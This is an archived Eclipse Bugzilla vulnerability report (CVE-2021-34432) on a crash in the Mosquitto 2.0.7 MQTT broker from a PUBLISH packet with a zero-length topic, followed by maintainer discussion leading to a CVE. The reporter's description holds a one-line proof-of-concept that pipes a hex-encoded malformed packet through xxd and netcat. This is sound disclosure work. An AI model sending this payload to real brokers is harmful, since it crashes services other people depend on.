



- [Download](#)
- [Getting Started](#)
- [Members](#)
- [Projects](#)
- [Community](#)
 - [Marketplace](#)
 - [Events](#)
 - [Planet Eclipse](#)
 - [Newsletter](#)
 - [Videos](#)
- [Participate](#)
 - [Report a Bug](#)
 - [Forums](#)
 - [Mailing Lists](#)
 - [Wiki](#)
 - [IRC](#)
 - [How to Contribute](#)
- [Working Groups](#)
 - [Automotive](#)
 - [Internet of Things](#)
 - [LocationTech](#)
 - [Long-Term Support](#)
 - [PolarSys](#)
 - [Science](#)
 - [OpenMDM](#)
- More
 - **Community**
 - [Marketplace](#)
 - [Events](#)
 - [Planet Eclipse](#)
 - [Newsletter](#)
 - [Videos](#)
 - **Participate**
 - [Report a Bug](#)
 - [Forums](#)
 - [Mailing Lists](#)
 - [Wiki](#)
 - [IRC](#)
 - [How to Contribute](#)
 - **Working Groups**
 - [Automotive](#)
 - [Internet of Things](#)
 - [LocationTech](#)
 - [Long-Term Support](#)
 - [PolarSys](#)
 - [Science](#)
 - [OpenMDM](#)

Toggle navigation



Bugzilla - Bug 574141 Remote crash in Mosquitto 2.0.7 when publish topic length is 0 Last modified: 2021-08-22 08:57:28 EDT

- [Home](#)
- [New](#)
- [Browse](#)
- [Search](#)
-
- [\[?\]](#)
- [Reports](#)
- [Requests](#)
- [Help](#)
- [Log In](#)
- [\[x\]](#)
- [Terms of Use](#)
- [Copyright Agent](#)

This site is maintained for archival purposes only. Eclipse projects have transitioned to [GitHub](#) and [Eclipse GitLab](#). Use the [Projects search tool](#) to locate your project and access its latest code and issue tracker.

Bug 574141 (CVE-2021-34432) - Remote crash in Mosquitto 2.0.7 when publish topic length is 0

Summary: Remote crash in Mosquitto 2.0.7 when publish topic length is 0

Status: CLOSED FIXED
Alias: CVE-2021-34432
Product: Community
Classification: Eclipse Foundation
Component: Vulnerability Reports ([show other bugs](#))
Version: unspecified [Edit](#)
Hardware: PC Linux
Importance: P3 major ([vote](#))
Target Milestone: --- [Edit](#)
Assignee: Security vulnerability reported against Eclipse projects [CLA](#)
QA Contact:
URL:
Whiteboard:
Keywords: security
Depends on:
Blocks:

Reported: 2021-06-10 19:44 EDT by Bryan Pearson [CLA](#)
Modified: 2021-08-22 08:57 EDT ([History](#))
 2 users ([show](#))

CC List:

roger
wayne.beaton

[See Also:](#)

Attachments

[Add an attachment](#) (proposed patch, testcase, etc.)

Note

You need to [log in](#) before you can comment on or make changes to this bug.

[Description](#) Bryan Pearson [CLA](#) 2021-06-10 19:44:44 EDT

In Mosquitto version 2.07 (also tested in 2.06), the server will crash if the client tries to send a PUBLISH packet with topic length = 0. The echo 102b00044d5154540500003c0822000a11000000f00166d7174746f6c732d383739363736313532303132393d0900000621000a220005e000 | xxd -p -r | nc lc

It seems this was patched in version 2.08 due to the following commit. However, I have not seen this vulnerability reported anywhere.

<https://github.com/eclipse/mosquitto/commit/9b08faf0bdaf5a4f2e6e3dd1ea7e8c57f70418d6>

[Comment 1](#) Wayne Beaton [CLA](#) 2021-06-11 00:32:10 EDT

/cc Eclipse Mosquitto Project lead.

Roger can you have a look, please?

[Comment 2](#) Roger Light [CLA](#) 2021-06-11 13:49:55 EDT

I confirm that does look to have that effect. As I remember (and what it looks like), the fix was made in the context of those functions in t

What's the best thing to do here?

[Comment 3](#) Bryan Pearson [CLA](#) 2021-07-24 10:57:14 EDT

Do we have any updates on this issue?

[Comment 4](#) Wayne Beaton [CLA](#) 2021-07-24 22:37:52 EDT

(In reply to Roger Light from [comment #2](#))

> I confirm that does look to have that effect. As I remember (and what it

> looks like), the fix was made in the context of those functions in the

> client library, so the fix in the broker is a happy result. That is why the

> vulnerability hasn't been reported anywhere.

>

> What's the best thing to do here?

If the vulnerability exists in any version, we should issue a CVE.

Should we just tweak the description that Bryan provided?

"In Eclipse Mosquitto versions 2.07 and earlier, the server will crash if the client tries to send a PUBLISH packet with topic length = 0."

[Comment 5](#) Roger Light [CLA](#) 2021-07-27 05:57:59 EDT

That looks fine to me Wayne.

[Comment 6](#) Wayne Beaton [CLA](#) 2021-07-27 11:24:34 EDT

We'll use CVE-2021-34432. I've pushed a record to Mitre.

[Comment 7](#) Roger Light [CLA](#) 2021-08-22 08:57:28 EDT

This can be closed now, the CVE is recorded and reported.

- [Format For Printing](#)
- [XML](#)
- [Clone This Bug](#)
- [Top of page](#)

- - [Home](#)
 - [New](#)
 - [Browse](#)
 - [Search](#)
 -
 - [\[?\]](#)
 - [Reports](#)
 - [Requests](#)
 - [Help](#)
 - [Log In](#)
 - [\[x\]](#)
 - [Terms of Use](#)
 - [Copyright Agent](#)